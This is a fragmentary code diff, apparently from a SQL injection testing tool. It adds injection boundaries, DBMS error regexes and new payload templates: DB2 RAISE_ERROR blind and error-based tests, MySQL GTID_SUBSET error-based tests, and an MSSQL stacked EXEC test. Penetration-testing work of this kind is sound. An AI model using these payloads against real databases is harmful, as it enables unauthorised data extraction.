||||||
XMLAGG
|
XMLAGG
|
||||||
XMLATTRIBUTES
|
XMLATTRIBUTES
|
||||||
@@ -1181,7 +858,6 @@ XMLBINARY
|
|||||||
XMLCAST
|
XMLCAST
|
||||||
XMLCOMMENT
|
XMLCOMMENT
|
||||||
XMLCONCAT
|
XMLCONCAT
|
||||||
XMLDECLARATION
|
|
||||||
XMLDOCUMENT
|
XMLDOCUMENT
|
||||||
XMLELEMENT
|
XMLELEMENT
|
||||||
XMLEXISTS
|
XMLEXISTS
|
||||||
@@ -1191,12 +867,8 @@ XMLNAMESPACES
|
|||||||
XMLPARSE
|
XMLPARSE
|
||||||
XMLPI
|
XMLPI
|
||||||
XMLQUERY
|
XMLQUERY
|
||||||
XMLROOT
|
|
||||||
XMLSCHEMA
|
|
||||||
XMLSERIALIZE
|
XMLSERIALIZE
|
||||||
XMLTABLE
|
XMLTABLE
|
||||||
XMLTEXT
|
XMLTEXT
|
||||||
XMLVALIDATE
|
XMLVALIDATE
|
||||||
YEAR
|
YEAR
|
||||||
YES
|
|
||||||
ZONE
|
|
||||||
|
|||||||
+4652
-202
File diff suppressed because it is too large
Load Diff
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -213,6 +213,15 @@ Formats:
|
|||||||
<suffix> AND ((('[RANDSTR]' LIKE '[RANDSTR]</suffix>
|
<suffix> AND ((('[RANDSTR]' LIKE '[RANDSTR]</suffix>
|
||||||
</boundary>
|
</boundary>
|
||||||
|
|
||||||
|
<boundary>
|
||||||
|
<level>2</level>
|
||||||
|
<clause>1</clause>
|
||||||
|
<where>1,2</where>
|
||||||
|
<ptype>3</ptype>
|
||||||
|
<prefix>%'</prefix>
|
||||||
|
<suffix> AND '[RANDSTR]%'='[RANDSTR]</suffix>
|
||||||
|
</boundary>
|
||||||
|
|
||||||
<boundary>
|
<boundary>
|
||||||
<level>2</level>
|
<level>2</level>
|
||||||
<clause>1</clause>
|
<clause>1</clause>
|
||||||
|
|||||||
+1
-1
@@ -83,7 +83,7 @@
|
|||||||
<error regexp="CLI Driver.*?DB2"/>
|
<error regexp="CLI Driver.*?DB2"/>
|
||||||
<error regexp="DB2 SQL error"/>
|
<error regexp="DB2 SQL error"/>
|
||||||
<error regexp="\bdb2_\w+\("/>
|
<error regexp="\bdb2_\w+\("/>
|
||||||
<error regexp="SQLSTATE.+SQLCODE"/>
|
<error regexp="SQLCODE[=:\d, -]+SQLSTATE"/>
|
||||||
<error regexp="com\.ibm\.db2\.jcc"/>
|
<error regexp="com\.ibm\.db2\.jcc"/>
|
||||||
<error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
|
<error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
|
||||||
<error regexp="Pdo[./_\\]Ibm"/>
|
<error regexp="Pdo[./_\\]Ibm"/>
|
||||||
|
|||||||
@@ -824,7 +824,6 @@ Tag: <test>
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -845,7 +844,6 @@ Tag: <test>
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -1193,7 +1191,6 @@ Tag: <test>
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -1214,7 +1211,6 @@ Tag: <test>
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -1332,6 +1328,44 @@ Tag: <test>
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>IBM DB2 boolean-based blind - ORDER BY clause</title>
|
||||||
|
<stype>1</stype>
|
||||||
|
<level>4</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>3</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
|
||||||
|
<request>
|
||||||
|
<payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>IBM DB2</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>IBM DB2 boolean-based blind - ORDER BY clause (original value)</title>
|
||||||
|
<stype>1</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>3</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>,(SELECT CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
|
||||||
|
<request>
|
||||||
|
<payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>IBM DB2</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<!-- Works in MySQL, Oracle, etc. -->
|
<!-- Works in MySQL, Oracle, etc. -->
|
||||||
<test>
|
<test>
|
||||||
<title>HAVING boolean-based blind - WHERE, GROUP BY clause</title>
|
<title>HAVING boolean-based blind - WHERE, GROUP BY clause</title>
|
||||||
@@ -1452,7 +1486,6 @@ Tag: <test>
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -1474,7 +1507,6 @@ Tag: <test>
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
|||||||
@@ -91,6 +91,46 @@
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>4</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3,8,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>>= 5.6</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>4</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1,8,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>>= 5.6</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)</title>
|
<title>MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
@@ -404,7 +444,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -425,7 +464,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -446,7 +484,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -467,7 +504,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -488,7 +524,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -509,7 +544,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -672,7 +706,7 @@
|
|||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>3</level>
|
<level>3</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,9</clause>
|
<clause>1</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||||
<request>
|
<request>
|
||||||
@@ -689,9 +723,9 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>Firebird OR error-based - WHERE or HAVING clause</title>
|
<title>Firebird OR error-based - WHERE or HAVING clause</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>3</level>
|
<level>4</level>
|
||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1,9</clause>
|
<clause>1</clause>
|
||||||
<where>2</where>
|
<where>2</where>
|
||||||
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||||
<request>
|
<request>
|
||||||
@@ -710,7 +744,7 @@
|
|||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>3</level>
|
<level>3</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,9</clause>
|
<clause>1</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||||
<request>
|
<request>
|
||||||
@@ -727,9 +761,9 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>MonetDB OR error-based - WHERE or HAVING clause</title>
|
<title>MonetDB OR error-based - WHERE or HAVING clause</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>3</level>
|
<level>4</level>
|
||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1,9</clause>
|
<clause>1</clause>
|
||||||
<where>2</where>
|
<where>2</where>
|
||||||
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||||
<request>
|
<request>
|
||||||
@@ -748,7 +782,7 @@
|
|||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>3</level>
|
<level>3</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,8,9</clause>
|
<clause>1</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
|
<vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
|
||||||
<request>
|
<request>
|
||||||
@@ -765,9 +799,9 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>Vertica OR error-based - WHERE or HAVING clause</title>
|
<title>Vertica OR error-based - WHERE or HAVING clause</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>3</level>
|
<level>4</level>
|
||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1,8,9</clause>
|
<clause>1</clause>
|
||||||
<where>2</where>
|
<where>2</where>
|
||||||
<vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
|
<vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
|
||||||
<request>
|
<request>
|
||||||
@@ -780,6 +814,45 @@
|
|||||||
<dbms>Vertica</dbms>
|
<dbms>Vertica</dbms>
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>IBM DB2 AND error-based - WHERE or HAVING clause</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>IBM DB2</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>IBM DB2 OR error-based - WHERE or HAVING clause</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>4</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>IBM DB2</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<!--
|
<!--
|
||||||
TODO: if possible, add payload for SQLite, Microsoft Access,
|
TODO: if possible, add payload for SQLite, Microsoft Access,
|
||||||
and SAP MaxDB - no known techniques at this time
|
and SAP MaxDB - no known techniques at this time
|
||||||
@@ -853,6 +926,26 @@
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3,9</clause>
|
||||||
|
<where>3</where>
|
||||||
|
<vector>GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||||
|
<request>
|
||||||
|
<payload>GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>>= 5.6</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)</title>
|
<title>MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
@@ -1000,7 +1093,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -1021,7 +1113,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -1062,6 +1153,25 @@
|
|||||||
<dbms>Firebird</dbms>
|
<dbms>Firebird</dbms>
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>IBM DB2 error-based - Parameter replace</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>4</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,3</clause>
|
||||||
|
<where>3</where>
|
||||||
|
<vector>RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||||
|
<request>
|
||||||
|
<payload>RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>IBM DB2</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
<!-- End of error-based tests - Parameter replace -->
|
<!-- End of error-based tests - Parameter replace -->
|
||||||
|
|
||||||
<!-- Error-based tests - ORDER BY, GROUP BY clause -->
|
<!-- Error-based tests - ORDER BY, GROUP BY clause -->
|
||||||
@@ -1105,6 +1215,26 @@
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL >= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>2,3</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>,GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||||
|
<request>
|
||||||
|
<payload>,GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>>= 5.6</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)</title>
|
<title>MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
@@ -1205,7 +1335,6 @@
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>PostgreSQL error-based - ORDER BY, GROUP BY clause</title>
|
<title>PostgreSQL error-based - ORDER BY, GROUP BY clause</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
@@ -1261,7 +1390,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -1289,7 +1417,7 @@
|
|||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>5</level>
|
<level>5</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>2,3</clause>
|
<clause>3</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
<vector>,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))</vector>
|
<vector>,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))</vector>
|
||||||
<request>
|
<request>
|
||||||
@@ -1302,9 +1430,51 @@
|
|||||||
<dbms>Firebird</dbms>
|
<dbms>Firebird</dbms>
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>IBM DB2 error-based - ORDER BY clause</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>3</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>,RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||||
|
<request>
|
||||||
|
<payload>,RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>IBM DB2</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
<!--
|
<!--
|
||||||
TODO: if possible, add payload for SQLite, Microsoft Access
|
TODO: if possible, add payload for SQLite, Microsoft Access
|
||||||
and SAP MaxDB - no known techniques at this time
|
and SAP MaxDB - no known techniques at this time
|
||||||
-->
|
-->
|
||||||
<!-- End of error-based tests - ORDER BY, GROUP BY clause -->
|
<!-- End of error-based tests - ORDER BY, GROUP BY clause -->
|
||||||
|
|
||||||
|
<!-- Error-based tests - stacking -->
|
||||||
|
<test>
|
||||||
|
<title>Microsoft SQL Server/Sybase error-based - Stacking (EXEC)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>2</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1-8</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]');EXEC @[RANDSTR]</vector>
|
||||||
|
<request>
|
||||||
|
<payload>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]');EXEC @[RANDSTR]</payload>
|
||||||
|
<comment>--</comment>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
|
<dbms>Sybase</dbms>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
<!-- End of error-based tests - stacking -->
|
||||||
</root>
|
</root>
|
||||||
|
|||||||
@@ -73,7 +73,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
|||||||
@@ -264,7 +264,6 @@
|
|||||||
<details>
|
<details>
|
||||||
<dbms>Microsoft SQL Server</dbms>
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
<dbms>Sybase</dbms>
|
<dbms>Sybase</dbms>
|
||||||
<os>Windows</os>
|
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
@@ -286,7 +285,6 @@
|
|||||||
<details>
|
<details>
|
||||||
